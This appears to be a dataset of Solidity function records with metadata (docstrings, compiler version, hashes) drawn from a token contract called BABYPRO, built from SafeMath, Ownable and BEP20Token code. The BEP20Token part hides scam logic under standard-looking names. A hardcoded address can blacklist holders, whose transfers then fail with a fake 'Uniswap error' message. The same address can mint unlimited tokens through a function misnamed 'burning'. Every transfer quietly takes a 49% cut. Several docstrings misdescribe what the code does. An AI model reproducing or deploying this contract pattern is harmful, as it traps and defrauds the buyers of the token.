// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
2576,
2713
]
} | 8,313 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | div | function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
3198,
3588
]
} | 8,314 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
4042,
4177
]
} | 8,315 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mod | function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
4651,
4858
]
} | 8,316 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
*
NOTE:
Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership1(address newOwner) internal onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/ | NatSpecMultiLine | owner | function owner() public view returns (address) {
return _owner;
}
| /**
* @dev Returns the address of the current owner.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
527,
611
]
} | 8,317 |
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
*
NOTE:
Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership1(address newOwner) internal onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/ | NatSpecMultiLine | renounceOwnership | function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
| /**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
*
NOTE:
Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
1167,
1312
]
} | 8,318 |
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
*
NOTE:
Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership1(address newOwner) internal onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/ | NatSpecMultiLine | transferOwnership1 | function transferOwnership1(address newOwner) internal onlyOwner {
_transferOwnership(newOwner);
}
| /**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
1464,
1581
]
} | 8,319 |
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
*
NOTE:
Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership1(address newOwner) internal onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/ | NatSpecMultiLine | _transferOwnership | function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
| /**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
1684,
1957
]
} | 8,320 |
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | BEP20Token | contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BABYPRO";
_symbol = "BABYPRO";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(49);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
